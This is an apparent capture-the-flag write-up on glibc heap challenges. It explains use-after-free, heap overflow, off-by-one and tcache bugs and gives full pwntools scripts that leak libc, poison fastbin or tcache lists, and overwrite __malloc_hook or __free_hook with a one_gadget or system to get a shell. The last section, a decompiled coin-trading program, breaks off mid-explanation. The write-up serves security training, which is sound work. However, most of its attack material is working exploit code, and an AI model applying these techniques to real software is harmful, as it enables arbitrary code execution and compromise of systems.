p.recvuntil(b'Input index:')
p.sendline(b'2')
#malloc with the same size and we get back the old chunk
p.recvuntil(b'>\n')
p.sendline(b'1')
p.recvuntil(b'Input size:')
p.sendline(b'24')
p.recvuntil(b'Input data:')
p.sendline(b'1')
p.interactive()
```
# Heap2
The program prompts a menu for a heap challenge

The first choice first get an index from user then size of data

`shop heap` choice get an index from user then print the corresponding value

`edit heap` change the content of a chunk

`delete` may remove the content of a chunk and `exit` ends the program
Decompile the program

`main` is just a endless loop of menu
`createHeap`

So it checks the index from user if it's `<= 10` and the `size <= 0x1000` to continue
It calls `malloc` to allocate for the data and stores the data and size in 2 array
`readStr` function is okay, there's no overflow here

`showHeap` looks okay

`editHeap` just changes the content of a chunk

`deleteHeap`

The bus's here, the function does not clear the array, the value of chunk's still on the array so we can change it with `editHeap`
It's `use-after-free` vulnerability
Now to the exploit
## Leak the libc
First i try to leak the libc, to do that i use unsorted bin, the first chunk in unsorted bin point to an arena struct which is on the libc virtual address
To do this i allocate 2 chunks then free the first chunk, the second chunk to make sure that the first chunk doesn't merge with top chunk


We can use `showHeap` to leak that
```python=
create_heap(0, 200, b'A')
create_heap(1, 200, b'A') # this to make sure the previous chunk doesn't merge with top chunk
delete_heap(0)
```

```python=
libc.address = leak - 3783544
```


## Fastbin attack
The chunks in fastbin have `fd` and `bk` pointer, it's a doubly linked list, when remove a chunk from fastbin, the next chunk in fastbin is the `fd` pointer of the removed chunk

We can change the content of chunk so we can fake the `fd` pointer, so the next time `malloc` will return the address we want
But there's a size check, our fake chunk must have the size in fastbin size
And `__malloc_hook` is a good address, because before it, there's already a okay size field

The fastbin check doesn't need the `ox10` align so we can write the `__malloc_hook - 35` to that
First i allocate some chunks then free them
```python=
for i in range(10):
create_heap(i, 0x70 - 0x10, b'AAAA')
for i in range(10):
delete_heap(i)
```
Write the `__malloc_hook - 35`
```python=
edit_heap(9, p64(libc.symbols['__malloc_hook'] - 35))
```
I write the last chunk because the fastbin uses LIFO method
Check with gdb

So i wrote the address to `fd` pointer
Continue and try to write to it and the program runs okay

## One_gadget
Now we can write to `__malloc_hook` , the idea is using one_gadget

Checking some condition with gdb i see that i can use `0xd95f1` gadget
Write it to `__malloc_hook`
```python=
print('malloc_hook: {}'.format(hex(libc.symbols['__malloc_hook'])))
edit_heap(9, p64(libc.symbols['__malloc_hook'] - 35))
pause()
create_heap(0, 0x60, b'AAAA') # remove the first chunk
create_heap(1, 0x60, b'A'*19 + p64(ONE_GADGET + libc.address)) # malloc_hook
```

So now i have one_gadget at `__malloc_hook`
Continue

Running without gdb

Full script
```python=
from pwn import *
elf = context.binary = ELF('/home/kakaka/Train/exploit/heap2/pwn2_df')
libc = elf.libc
p = process()
gdb.attach(p)
ONE_GADGET = 0xd95f1
#def safe_linking(address, value):
# return (value ^ (address >> 12))
def create_heap(index, size, data):
p.recvuntil(b'>\n')
p.sendline(b'1')
p.recvuntil(b'Index:')
p.sendline(str(index).encode())
p.recvuntil(b'Input size:')
p.sendline(str(size).encode())
p.recvuntil(b'Input data:')
p.sendline(data)
def delete_heap(index):
p.recvuntil(b'>\n')
p.sendline(b'4')
p.recvuntil(b'Input index:')
p.sendline(str(index).encode())
def show_heap(index):
p.recvuntil(b'>\n')
p.sendline(b'2')
p.recvuntil(b'Index:')
p.sendline(str(index).encode())
def edit_heap(index, data):
p.recvuntil(b'>\n')
p.sendline(b'3')
p.recvuntil(b'Input index:')
p.sendline(str(index).encode())
print('A') # this line separates 2 read in program
p.sendline(data)
#leak the heap
#create_heap(0, 20, b'AAAAAAAA')
#delete_heap(0)
#show_heap(0)
#p.recvuntil(b'Data = ')
#leak = p.recvline()[:-1]
#leak = leak[::-1]
#leak = int(leak.hex(), 16)
#leak = leak << 12
#heap = leak
#print('Heap: {}'.format(hex(heap)))
# leak libc
create_heap(0, 200, b'A')
create_heap(1, 200, b'A') # this to make sure the previous chunk doesn't merge with top chunk
delete_heap(0)
show_heap(0)
p.recvuntil(b'Data = ')
leak = p.recvline()[:-1]
leak = leak[::-1]
leak = int(leak.hex(), 16)
print('leak: {}'.format(hex(leak)))
libc.address = leak - 3783544
print('libc: {}'.format(hex(libc.address)))
delete_heap(1) # just remove the other chunk, not important
#fastbin attack
for i in range(10):
create_heap(i, 0x70 - 0x10, b'AAAA')
for i in range(10):
delete_heap(i)
#write the malloc hook
print('malloc_hook: {}'.format(hex(libc.symbols['__malloc_hook'])))
edit_heap(9, p64(libc.symbols['__malloc_hook'] - 35))
pause()
create_heap(0, 0x60, b'AAAA') # remove the first chunk
create_heap(1, 0x60, b'A'*19 + p64(ONE_GADGET + libc.address)) # malloc_hook
#trigger a shell
p.recvuntil(b'>\n')
p.sendline(b'1')
p.recvuntil(b'Index:')
p.sendline(b'1')
p.recvuntil(b'Input size:')
p.sendline(b'20')
p.interactive()
```
# Heap4
Basically the program is kinda like heap2

But the choices work different

The `main` function is simple
`createHeap` function

The difference from heap2 is that, it checks if the index is used, if is then the function returns `0`, and it uses `calloc` to allocate, `calloc` will zero out memory of chunk
`showHeap` function

It's normal
`editHeap` function

The bug's here, at `newsize`, it doesn't check bound so we can pass a bigger length to overflow the chunk
`deleteHeap` function

This time it zeros out the array, so no UAF here
So now to the exploit using heap overflow
## leak the libc
Here i use unsorted bin to leak the libc
The idea is first allocating some chunks and the 2 last one having the length to be passed to unsorted bin when freed, last chunk is used to make sure the previous chunk doesn't merge with top chunk
And i overflow the first chunk with printable data to before the freed chunk
Before free

Overflow data

So now if i print the first chunk i get the libc
And after that i have to rebuild the heap
```python=
create_heap(1, 0x100 - 0x10, b'A')
#use another size to not reuse the freed chunks before
create_heap(2, 0x20, b'A') #this chunk to make sure the previous chunk doesn't merge with top chunk
delete_heap(1)
edit_heap(0, 6*16, b'A'*96)
show_heap(0)
p.recvuntil(b'Data = ')
p.recv(96)
leak = p.recvline()[:-1]
leak = leak[::-1]
leak = int(leak.hex(), 16)
libc.address = leak - 3783544
print('libc leak: {}'.format(hex(leak)))
print('libc: {}'.format(hex(libc.address)))
#restore the heap, reuse the previous payload to restore
payload += p64(heap + 0x20) # fd pointer of freed chunk
payload += p64(0)
payload += p64(0) # prev_size field of chunk in unsorted bin
payload += p64(0x101) # size field
edit_heap(0,96, payload)
```
## write to malloc_hook
Here i write `__malloc_hook - 35` like before
Create 2 chunks then free the second one
Overflow fisrt chunk to write to `fd` pointer of second chunk
```python=
print('malloc_hook: {}'.format(hex(libc.symbols['__malloc_hook'])))
create_heap(3, 0x70 - 0x10, b'A')
create_heap(4, 0x70 - 0x10, b'B')
delete_heap(4)
edit_heap(3, 0x78, p64(0)*13 + p64(0x71) + p64(libc.symbols['__malloc_hook'] - 35)) # fake the fd pointer
```
Attach with gdb

So i have `__malloc_hook` in `fd` pointer
## one_gadget
Here, again i still use `one_gadget`

This time i use `0xd5bf7` gadget

It successes

Script (the leak heap is not for the exploit, first time i tried another way to exploit but it didn't work but i'm lazy to delete that part because i have to recalculate some offsets and recode the leak libc :v)
```python=
from pwn import *
elf = context.binary = ELF('/home/kakaka/Train/exploit/heap4/pwn4_ul')
libc = elf.libc
p = process()
#gdb.attach(p)
ONE_GADGET = 0xd5bf7
def create_heap(index, size, data):
p.recvuntil(b'>\n')
p.sendline(b'1')
p.recvuntil(b'Index:')
p.sendline(str(index).encode())
p.recvuntil(b'Input size:')
p.sendline(str(size).encode())
p.recvuntil(b'Input data:')
p.sendline(data)
def show_heap(index):
p.recvuntil(b'>\n')
p.sendline(b'2')
p.recvuntil(b'Index:')
p.sendline(str(index).encode())
def edit_heap(index, new_size, data):
p.recvuntil(b'>\n')
p.sendline(b'3')
p.recvuntil(b'Input index:')
p.sendline(str(index).encode())
p.recvuntil(b'Input newsize:')
p.sendline(str(new_size).encode())
p.recvuntil(b'Do you want to change data (y/n)?\n')
p.sendline(b'y')
p.recvuntil(b'Input data:')
p.sendline(data)
def delete_heap(index):
p.recvuntil(b'>\n')
p.sendline(b'4')
p.recvuntil(b'Input index:')
p.sendline(str(index).encode())
#leak heap, this's not used for exploit, im too lazy to delete this adn recode the leak libc
create_heap(0, 20, b'A') #not used
create_heap(1, 20, b'A') #not used
create_heap(2, 20, b'A') #not used
delete_heap(1) #not used
delete_heap(2) #not used
edit_heap(0, 64, b'A'*64) #not used
show_heap(0) #not used
p.recvuntil(b'Data = ') #not used
p.recv(64) #not used
leak = p.recvline()[:-1] #not used
leak = leak[::-1] # not used
leak = int(leak.hex(), 16) #not used
print('heap leak: {}'.format(hex(leak))) #not used
heap = leak - 0x20 #not used
print('heap: {}'.format(hex(heap))) #not used
# restore the heap
payload = b'A'*16 #first chunk data
payload += p64(0) #prev_size field of second chunk
payload += p64(0x21) #size field
payload += p64(0)*2 #data of second chunk
payload += p64(0) #prev_size of third chunk
payload += p64(0x21) #size field of third chunk
edit_heap(0, 60, payload)
#=====================================================
# EXPLOIT STARTS HERE
#=====================================================
#leak the libc
create_heap(1, 0x100 - 0x10, b'A')
#use another size to not reuse the freed chunks before
create_heap(2, 0x20, b'A') #this chunk to make sure the previous chunk doesn't merge with top chunk
delete_heap(1)
edit_heap(0, 6*16, b'A'*96)
show_heap(0)
p.recvuntil(b'Data = ')
p.recv(96)
leak = p.recvline()[:-1]
leak = leak[::-1]
leak = int(leak.hex(), 16)
libc.address = leak - 3783544
print('libc leak: {}'.format(hex(leak)))
print('libc: {}'.format(hex(libc.address)))
#restore the heap, reuse the previous payload to restore
payload += p64(heap + 0x20) # fd pointer of freed chunk
payload += p64(0)
payload += p64(0) # prev_size field of chunk in unsorted bin
payload += p64(0x101) # size field
edit_heap(0,96, payload)
# write the malloc hook
print('malloc_hook: {}'.format(hex(libc.symbols['__malloc_hook'])))
create_heap(3, 0x70 - 0x10, b'A')
create_heap(4, 0x70 - 0x10, b'B')
delete_heap(4)
edit_heap(3, 0x78, p64(0)*13 + p64(0x71) + p64(libc.symbols['__malloc_hook'] - 35)) # fake the fd pointer
create_heap(5, 0x70 - 0x10, b'A') # remove the first chunk in fastbin
create_heap(6, 0x70 - 0x10, b'A'*19 + p64(ONE_GADGET + libc.address)) # write to malloc_hook
#trigger calloc
p.recvuntil(b'>\n')
p.sendline(b'1')
p.recvuntil(b'Index:')
p.sendline(b'7')
p.recvuntil(b'Input size:')
p.sendline(b'20')
p.interactive()
```
# Heap5
This challenge is also a heap challenge, it prompts a menu

But the behind of these choice is difference

`main` function is normal
`createHeap` function

It checks a few conditions and call `calloc`
It reads data using `readSTr` functions

It reads `a2` bytes which is our `size` and put a NULL byte at after the input, this leads to `off-by-one` vulnerability
`showHeap` function

It's okay
`editHeap` function

This function require a `newsize` and if it's larger than the `size` stored in `storeSize` then the program `free` the chunk at `store[Int]` then calls `malloc` with argument is `newsize`. Notice that this function doesn't check if the `newsize < 0x1000`
`deleteHeap` function

So it clears the array after free so no `UAF` here
Now to the exploit
## Leak the libc
Here we exploit the `off-by-one` in `readSTr` function
To leak the libc i use a chunk in unsorted bin
First i allocate 4 chunks
```python=
create_heap(0, 0x100 - 0x10, b'A')
create_heap(1, 24, b'A') # this chunk to overflow the prevsize and previnuse bit of next chunk
create_heap(2, 0x100 - 0x10, b'A')
create_heap(3, 20, b'A') #this ta make sure the previous chunk doesn't merge with top chunk
delete_heap(0) #free first chunk to get libc leak
```
So now the chunks will look like

The idea is overflow the metadata of chunk `2` at `0x5568f702f120` using `editHeap` at chunk `1`
Change the `prev_size` field of chunk `2` into size of chunk 0 + size of chunk 1 equal `0x120` and flip the `prev_inuse` bit of chunk 2, so when free chunk `2` it will check if `prev_inuse` bit, if `0` then it merge with previous chunk calculated using `prev_size`. So our new freed chunk will be at chunk `0` but with the size is size of chunk 0 + chunk 1 + chunk 2 = `0x220`
```python=
payload = p64(0)*2 # data of chunk
payload += p64(0x120) # prev_size field
edit_heap(1, 24, payload)
delete_heap(2) #overlap the 1 index chunk
```

So now i fake the metadata of chunk `2`
Free it then i see

A freed chunk having `0x220` size at chunk `0`, so chunk `1` is overlapped
Next, i allocate a chunk with the same size as chunk `0` so the freed chunk will split into 2, so the next freed chunk will be at `chunk 0 + 0x100` which is chunk `1`
So it's the same as `UAF` now
```python=
create_heap(2,0x100 - 0x10, b'AAAA') # now 1 index chunk have the leak libc in fd oointer
```

So the libc leak is now on the chunk `1`, we can use `showHeap` to read it
## Fastbin attack
So now we can allocate a chunk with the size that it will be put at fastbin when freed and because the the `calloc` will reuse the chunk at unsorted bin so the return address is chunk `1` which we can control
The idea is craft the `fd` pointer to point at near `__malloc_hook` then use one_gadget
```python=
create_heap(4, 0x60, b'A') # this malloc will return the address the same as 1 index
delete_heap(4) #now this will be moved to fastbin
edit_heap(1, 20, p64(libc.symbols['__malloc_hook'] - 35))
create_heap(5, 0x60, b'A') #remove the first chunk of fastbin
```

So now i have one_gadget at `__malloc_hook`, but a problem is raised
I can't meet the contraints of one_gadget
I tried setting `__malloc_hook` to `system` and passing address of `/bin/sh` in `newsize` in `editHeap` function because there's no condition on that but the `newsize` is 4 bytes type so it didn't work
But then after searching some way to trigger the hook, i found that i can trigger `realloc` in `__malloc_hook` and craft the `__realloc_hook` because it's right before `__malloc_hook`

## realloc hook
Writting the address of `realloc` doesn't meet the constraints but i have to redirect at before `realloc` check the `__realloc_hook` at `realloc + 14`

Now it works


Script
```python=
from pwn import *
elf = context.binary = ELF('/home/kakaka/Train/exploit/heap5/pwn5_null')
libc = elf.libc
p = process()
#gdb.attach(p)
ONE_GADGET = 0x3f42a
def create_heap(index, size, data):
p.recvuntil(b'>\n')
p.sendline(b'1')
p.recvuntil(b'Index:')
p.sendline(str(index).encode())
p.recvuntil(b'Input size:')
p.sendline(str(size).encode())
p.recvuntil(b'Input data:')
p.sendline(data)
def show_heap(index):
p.recvuntil(b'>\n')
p.sendline(b'2')
p.recvuntil(b'Index:')
p.sendline(str(index).encode())
def edit_heap(index, newsize, data):
p.recvuntil(b'>\n')
p.sendline(b'3')
p.recvuntil(b'Input index:')
p.sendline(str(index).encode())
p.recvuntil(b'Input newsize:')
p.sendline(str(newsize).encode())
p.recvuntil(b'Do you want to change data (y/n)?\n')
p.sendline(b'y')
p.recvuntil(b'Input data:')
p.sendline(data)
def delete_heap(index):
p.recvuntil(b'>\n')
p.sendline(b'4')
p.recvuntil(b'Input index:')
p.sendline(str(index).encode())
#leak the libc
create_heap(0, 0x100 - 0x10, b'A')
create_heap(1, 24, b'A') # this chunk to overflow the prevsize and previnuse bit of next chunk
create_heap(2, 0x100 - 0x10, b'A')
create_heap(3, 20, b'A') #this ta make sure the previous chunk doesn't merge with top chunk
delete_heap(0) #free first chunk to get libc leak
pause()
payload = p64(0)*2 # data of chunk
payload += p64(0x120) # prev_size field
edit_heap(1, 24, payload)
delete_heap(2) #overlap the 1 index chunk
create_heap(2,0x100 - 0x10, b'AAAA') # now 1 index chunk have the leak libc in fd oointer
show_heap(1)
p.recvuntil(b'Data = ')
leak_libc = p.recvline()[:-1]
leak_libc = leak_libc[::-1]
leak_libc = int(leak_libc.hex(), 16)
libc.address = leak_libc - 3783544
print('leak libc: {}'.format(hex(leak_libc)))
print('libc: {}'.format(hex(libc.address)))
#write malloc_hook
print('__malloc_hook: {}'.format(hex(libc.symbols['__malloc_hook'])))
print('__free_hook: {}'.format(hex(libc.symbols['__free_hook'])))
print('__realloc_hook: {}'.format(hex(libc.symbols['__realloc_hook'])))
create_heap(4, 0x60, b'A') # this malloc will return the address the same as 1 index
delete_heap(4) #now this will be moved to fastbin
edit_heap(1, 20, p64(libc.symbols['__malloc_hook'] - 35))
create_heap(5, 0x60, b'A') #remove the first chunk of fastbin
create_heap(6, 0x60, b'A'*11 +p64(ONE_GADGET + libc.address) + p64(libc.symbols['realloc'] + 14))
p.recvuntil(b'>\n')
p.sendline(b'3')
p.recvuntil(b'Input index:')
p.sendline(b'1')
p.recvuntil(b'Input newsize:')
p.sendline(b'1000')
p.interactive()
```
# Heap6
This is also a heap challenge

Decompiler with ida
`main` function

Just a menu
`createHeap` function

It checks the index so the maxium size in array is `10`, it calls `malloc` with a fixed size `0x80`
The `readStr` function

There's no overflow here so it's okay
`showHeap` function

It just prints the value in heap and no format string here
`editHeap` function

It checks if the element of array is `NULL`, if not we can write to it
`deleteHeap` function

The function just call `free` but not clear the element in array, so it's `UAF` bug
This program uses `libc.2.28`, it uses tcache mechanism
I allocate `3` chunks and delete the first `2` chunks

As you can see it stores the freed chunks in tcache bin
Tcache bin is a linked list, the `fd` pointer of a freed chunk points to the `fd` field of next chunk in tcache bin which is user data


And due to `UAF` bug we can fake that linked list pointing to where we want. There's no checking of `fd` pointer in `libc.2.28` and `__malloc_hook` and `__free_hook` are still available
So the exploit is faking the linked list pointing to `__free_hook`, writing `system` address to that and trigger `system('/bin/sh')` by freeing chunk contain `/bin/sh`
## leak the libc
To leak the libc, i use unsorted bin
The max size of tcache bin is `7`
>\# define TCACHE_FILL_COUNT 7
So i allocate `9` chunks, `7` chunks for filling tcache bin, `1` chunk for leaking libc, `1` chunk for not merging with top chunk
```python=
for i in range(9):
create_heap(i, b'A')
for i in range(8):
delete_heap(i)
```


Now print it

## write __free_hook
Since there's no checking in tcache,, i write the address of `__free_hook` directly to tcache bin
```python=
edit_heap(6, p64(libc.symbols['__free_hook'])) # write the fd of the top chunk in tcache bin
create_heap(0, b'AAAA') # remove the top chunk of tcache bin
create_heap(1, p64(libc.symbols['system'])) # write to free hook address of system
```

Now i have `__free_hook` in tcache bin
Trying write to it


It works
Writing `system` to `__free_hook`

To trigger `system(/bin/sh)` i need to allocate a chunk that contain `/bin/sh` then free it


Full script
```python=
from pwn import *
elf = context.binary = ELF('/home/kakaka/Train/exploit/heap6/pwn6_hoo')
libc = elf.libc
p = process()
#gdb.attach(p)
def create_heap(index, data):
p.recvuntil(b'>\n')
p.sendline(b'1')
p.recvuntil(b'Index:')
p.sendline(str(index).encode())
p.recvuntil(b'Input data:')
p.sendline(data)
def show_heap(index):
p.recvuntil(b'>\n')
p.sendline(b'2')
p.recvuntil(b'Index:')
p.sendline(str(index).encode())
def edit_heap(index, data):
p.recvuntil(b'>\n')
p.sendline(b'3')
p.recvuntil(b'Input index:')
p.sendline(str(index).encode())
print('This print is for seperating 2 read')
p.sendline(data)
def delete_heap(index):
p.recvuntil(b'>\n')
p.sendline(b'4')
p.recvuntil(b'Input index:')
p.sendline(str(index).encode())
for i in range(9):
create_heap(i, b'A')
for i in range(8):
delete_heap(i)
#leak the libc
show_heap(7) #show the libc
p.recvuntil(b'Data = ')
leak = p.recvline()[:-1]
leak = leak[::-1]
leak = int(leak.hex(), 16)
libc.address = leak - 3878048
print('leak: {}'.format(hex(leak)))
print('libc: {}'.format(hex(libc.address)))
#write free hook
print('__free_hook: {}'.format(hex(libc.symbols['__free_hook'])))
edit_heap(6, p64(libc.symbols['__free_hook'])) # write the fd of the top chunk in tcache bin
create_heap(0, b'AAAA') # remove the top chunk of tcache bin
create_heap(1, p64(libc.symbols['system'])) # write to free hook address of system
#trigger system
create_heap(2, b'/bin/sh\x00') # parameter for system
delete_heap(2) # get a shell
p.interactive()
```
# Heap3
The program is like a trading system


Decompiler the program
After renaming some variables
`main` function
```cpp=
void __fastcall main(__int64 a1, char **a2, char **a3)
{
int v3; // eax
int v4; // [rsp+Ch] [rbp-24h]
const char **user; // [rsp+18h] [rbp-18h]
char buf[8]; // [rsp+20h] [rbp-10h] BYREF
unsigned __int64 v7; // [rsp+28h] [rbp-8h]
v7 = __readfsqword(0x28u);
sub_4009B6();
sub_400AA4();
v4 = 0;
user = 0LL;
while ( 1 )
{
puts("------------------------------------------------");
puts(" 1: register user");
puts(" 2: login user");
puts(" 3: exit");
puts("------------------------------------------------");
puts("which command?");
printf("> ");
read(0, buf, 4uLL);
v3 = atoi(buf);
switch ( v3 )
{
case 2:
user = (const char **)login();
if ( user )
{
printf("[+] Welcome to EasyCoin, %s\n\n", *user);
v4 = 1;
}
break;
case 3:
exit(0);
case 1:
register();
break;
default:
puts("[-] Invalid command!");
break;
}
while ( v4 )
{
puts("------------------------------------------------");
puts(" 1: display user info");
puts(" 2: send coin");
puts(" 3: display transaction");
puts(" 4: change password");
puts(" 5: delete this user");
puts(" 6: logout");
puts("------------------------------------------------");
puts("which command?");
printf("> ");
read(0, buf, 4uLL);
switch ( buf[0] )
{
case '1':
display_user(user);
break;
case '2':
send_coin(user);
break;
case '3':
display_transaction(user);
break;
case '4':
change_password(user);
break;
case '5':
delete_user(user);
v4 = 0;
break;
case '6':
v4 = 0;
break;
default:
printf("[-] Unknown Command: ");
printf(buf);
break;
}
}
}
}
```
So there're 2 switch cases, first is before user signs in
`register` function
```cpp=
__int64 signup()
{
void **user; // rbx
__int64 v2; // rbx
int index; // [rsp+4h] [rbp-4Ch]
int i; // [rsp+8h] [rbp-48h]
int j; // [rsp+Ch] [rbp-44h]
char user_name[40]; // [rsp+10h] [rbp-40h] BYREF
unsigned __int64 v7; // [rsp+38h] [rbp-18h]
v7 = __readfsqword(0x28u);
index = -1;
printf("Please input username\n> ");
read_(user_name, 31);
for ( i = 0; i <= 4; ++i )
{
if ( *(&array + i) && !strcmp(*(const char **)*(&array + i), user_name) )
{
puts("[-] This user already registerd");
return 1LL;
}
}
for ( j = 0; j <= 4; ++j )
{
if ( !*(&array + j) )
{
index = j;
break;
}
}
if ( index == -1 )
{
puts("[-] User Registration is over");
exit(0);
}
*(&array + index) = malloc(0x20uLL);
user = (void **)*(&array + index);
*user = malloc(0x20uLL);
v2 = (__int64)*(&array + index);
*(_QWORD *)(v2 + 8) = malloc(0x20uLL);
*((_QWORD *)*(&array + index) + 2) = 1000000000LL;
*((_QWORD *)*(&array + index) + 3) = 0LL;
strncpy(*(char **)*(&array + index), user_name, 0x1FuLL);
printf("Please input password\n> ");
read_(*((char **)*(&array + index) + 1), 31);
printf("Verify input password\n> ");
read_(user_name, 31);
if ( !strcmp(*((const char **)*(&array + index) + 1), user_name) )
{
puts("[+] Registration success");
}
else
{
puts("[-] Password confirmation failed");
free(*(void **)*(&array + index));
free(*((void **)*(&array + index) + 1));
free(*(&array + index));
*(&array + index) = 0LL;
}
return 0LL;
}
```
The function gets `username` and `password` from user and calls `malloc` 3 times with `0x20` size
And the struct of user stored in `array` is like
```
pointer(stored in array) |pointer to user name|pointer to password|1000000000|0|
```
So i have
`pointer[0]` points to `username`
`pointer[1]` points to `password`
`pointer[2]` contains `1000000000000`, the number of coins user has
`pointer[3]` points to transaction(will be introduced later), initialized as `0`
`login` function
```cpp=
__int64 login()
{
int i; // [rsp+4h] [rbp-3Ch]
char s2[40]; // [rsp+10h] [rbp-30h] BYREF
unsigned __int64 v3; // [rsp+38h] [rbp-8h]
v3 = __readfsqword(0x28u);
printf("Please input username\n> ");
read_(s2, 31);
for ( i = 0; ; ++i )
{
if ( i > 4 )
{
puts("[-] This user is not registered");
return 0LL;
}
if ( *(&array + i) && !strcmp(*(const char **)*(&array + i), s2) )
break;
}
printf("Please input password\n> ");
read_(s2, 31);
if ( !strcmp(*((const char **)*(&array + i) + 1), s2) )
return (__int64)*(&array + i);
puts("[-] Password error");
return 0LL;
}
```
The the function requires a name then check if there's a user with that name by iterating the array. If is then check the password, if correct then returns the pointer of struct else returns `0`
`displayuser` function
```cpp=
__int64 __fastcall sub_400EAE(__int64 user)
{
printf("[+] username: %s, money: %ld\n", *(const char **)user, *(_QWORD *)(user + 16));
return 0LL;
}
```
Just print the `username` and the number of coins
`sendcoin` function
```cpp=
__int64 __fastcall send_coin(__int64 sender)
{
int i; // [rsp+18h] [rbp-58h]
int coin; // [rsp+1Ch] [rbp-54h]
_QWORD *j; // [rsp+20h] [rbp-50h]
_QWORD *k; // [rsp+20h] [rbp-50h]
__int64 receiver; // [rsp+28h] [rbp-48h]
_QWORD *transaction_sender; // [rsp+30h] [rbp-40h]
_QWORD *transaction_receiver; // [rsp+38h] [rbp-38h]
char v5[40]; // [rsp+40h] [rbp-30h] BYREF
unsigned __int64 v10; // [rsp+68h] [rbp-8h]
v10 = __readfsqword(0x28u);
if ( (unsigned __int64)transaction_id > 0x64 )
{
puts("[-] Transaction is over");
exit(1);
}
printf("What user do you send to?\n> ");
read_(v5, 31);
for ( i = 0; ; ++i )
{
if ( i > 4 )
{
puts("[-] This user is not registered");
return 1LL;
}
if ( *(&array + i) && !strcmp(*(const char **)*(&array + i), v5) )
break;
}
receiver = (__int64)*(&array + i);
printf("Hom many?\n> ");
read(0, v5, 0x14uLL);
coin = atol(v5);
if ( coin > 0 && *(_QWORD *)(sender + 16) - coin >= 0LL )
{
transaction_receiver = malloc(0x28uLL);
*transaction_receiver = 0LL;
transaction_receiver[1] = sender;
transaction_receiver[4] = coin;
transaction_receiver[2] = transaction_id;
transaction_receiver[3] = 1LL;
*(_QWORD *)(receiver + 16) += coin;
if ( *(_QWORD *)(receiver + 24) )
{
for ( j = *(_QWORD **)(receiver + 24); *j; j = (_QWORD *)*j )
;
*j = transaction_receiver;
}
else
{
*(_QWORD *)(receiver + 24) = transaction_receiver;
}
transaction_sender = malloc(0x28uLL);
*transaction_sender = 0LL;
transaction_sender[1] = receiver;
transaction_sender[4] = coin;
transaction_sender[2] = transaction_id;
transaction_sender[3] = 0LL;
*(_QWORD *)(sender + 16) -= coin;
++transaction_id;
if ( *(_QWORD *)(sender + 24) )
{
for ( k = *(_QWORD **)(sender + 24); *k; k = (_QWORD *)*k )
;
*k = transaction_sender;
}
else
{
*(_QWORD *)(sender + 24) = transaction_sender;
}
puts("[+] Transaction success");
return 0LL;
}
else
{
puts("[-] Can't execute this transaction");
return 1LL;
}
}
```
First the function requires a name of the receiver then it checks the user in `array`. If exist then user has to pass the number of `coin`
After that the function allocate 2 chunks as a transaction, one's for `sender`, one's for `receiver` and the transactions is stored as a linked list, the last transaction is put at the end of linked list
Transaction struct
`transaction[0]` points to next transaction
`transaction[1]` points to `receiver` or `sender` which is stored in `array`
`transaction[2]` is the `id` of transaction, calculated by a global variable
`transaction[3]` is `0` if stored in `sender`, `1` if stored in `receiver`
`transaction[4]` is the number of coin
`displaytransactions` function
```cpp=
__int64 __fastcall display_transaction(__int64 a1)
{
__int64 **transaction; // [rsp+18h] [rbp-8h]
if ( *(_QWORD *)(a1 + 24) )
{
for ( transaction = *(__int64 ***)(a1 + 24); ; transaction = (__int64 **)*transaction )
{
if ( transaction[3] )
printf(
"[+] id: %lu, recieve from %s, value: %ld\n",
transaction[2],
(const char *)*transaction[1],
transaction[4]);
else
printf("[+] id: %lu, send to %s, value: %ld\n", transaction[2], (const char *)*transaction[1], transaction[4]);
if ( !*transaction )
break;
}
}
else
{
puts("[-] No transaction");
}
return 0LL;
}
```
Iterating the linked list then prints them
`changepassword` function
```cpp=
char *__fastcall change_password(__int64 a1)
{
printf("Please input password\n> ");
return read_(*(char **)(a1 + 8), 31);
}
```
Change the `password` by `read` a pointer stored in `pointer + 8` (pointer is stored in `array`)
`deleteuser` function
```cpp=
__int64 __fastcall delete_user(void **a1)
{
int v2; // [rsp+18h] [rbp-18h]
int i; // [rsp+1Ch] [rbp-14h]
_QWORD *transaction; // [rsp+20h] [rbp-10h]
_QWORD *ptr; // [rsp+28h] [rbp-8h]
v2 = -1;
for ( i = 0; i <= 4; ++i )
{
if ( *(&array + i) == a1 )
{
v2 = i;
break;
}
}
free(*a1);
free(a1[1]);
if ( a1[3] )
{
transaction = a1[3];
while ( 1 )
{
free_transaction(transaction[1], (unsigned int)transaction[2]);
if ( !*transaction )
break;
ptr = transaction;
transaction = (_QWORD *)*transaction;
ptr[1] = 0LL;
*ptr = 0LL;
free(ptr);
}
free(transaction);
}
else
{
puts("[-] No transaction");
}
free(a1);
*(&array + v2) = 0LL;
return 0LL;
}
```
The function first `free` the `username` field then `password` field
Next is handling the transactions
Loop through all transacions in linked list, each transaction it calls `free_transaction` function with parameters are the `sender` or `receiver` and transaction's id
```cpp=
__int64 __fastcall sub_4012A0(__int64 a1, int a2)
{
_QWORD *transaction; // [rsp+10h] [rbp-10h]
_QWORD *v4; // [rsp+18h] [rbp-8h]
if ( *(_QWORD *)(a1 + 24) )
{
v4 = 0LL;
for ( transaction = *(_QWORD **)(a1 + 24); transaction[2] != a2; transaction = (_QWORD *)*transaction )
{
if ( !*transaction )
return 1LL;
v4 = transaction;
}
if ( v4 )
*v4 = *transaction;
else
*(_QWORD *)(a1 + 24) = *transaction;
free(transaction);
return 0LL;
}
else
{
puts("[-] No transaction");
return 1LL;
}
}
```
So the `free_transaction` handles the transaction stored in the other user by loop through the linked list of that user until meeting a transaction with the same id then unlink the linked then `free` the transaction
The `delete_user` then `free` the struct and clear the `array`
So now to the exploit
In `send_coin` function a user can send to himself, so that 2 transactions will be stored on the same user
And remember `transaction[4]` is the number of coins, the chunk size is `0x30` so `transaction[4]` is the start of the next chunk.
The idea is that
I register `3` user: `user1`, `user2`, `user3`
First `user1` send `10` coins to `user2`
Then `user2` send `10` coins to himself
So the chunks will be like
```
start of heap
0x10 struct user1
0x40 user1(name)
0x70 pass (password)
0xa0 struct user2
0xd0 user2
0x100 pass
0x130 struct user3
0x160 user3
0x190 pass
0x1c0 transaction stored in user2 (user1 sends to user2)
0x1f0 transaction stored in user1 (user1 sends to user2)
0x220 transaction stored in user2 (user2 sends to user2)
0x250 transaction stored in user2 (user2 sends to user2)
```

Now if i delete `user2`
First it `free` the `name` and `password` (it's fine)
The interesting is handling the transactions
First it handles the `0x1c0` (first transaction is `user2`), it will call `free_transaction` to free `0x1f0` in `user1` then free the `0x1c0`
When handle `0x220` it will call `free_transaction` with `user2` struct, the first transaction is in `user2` is `0x1c0`, of course its id is not the `id` of `0x220` (1) so it will iterate the value stored in `0x1c0`
Because `0x1c0` is freed so the value stored in it is a start of the `0x1f0` chunk( because it's freed right before `0x1c0`)
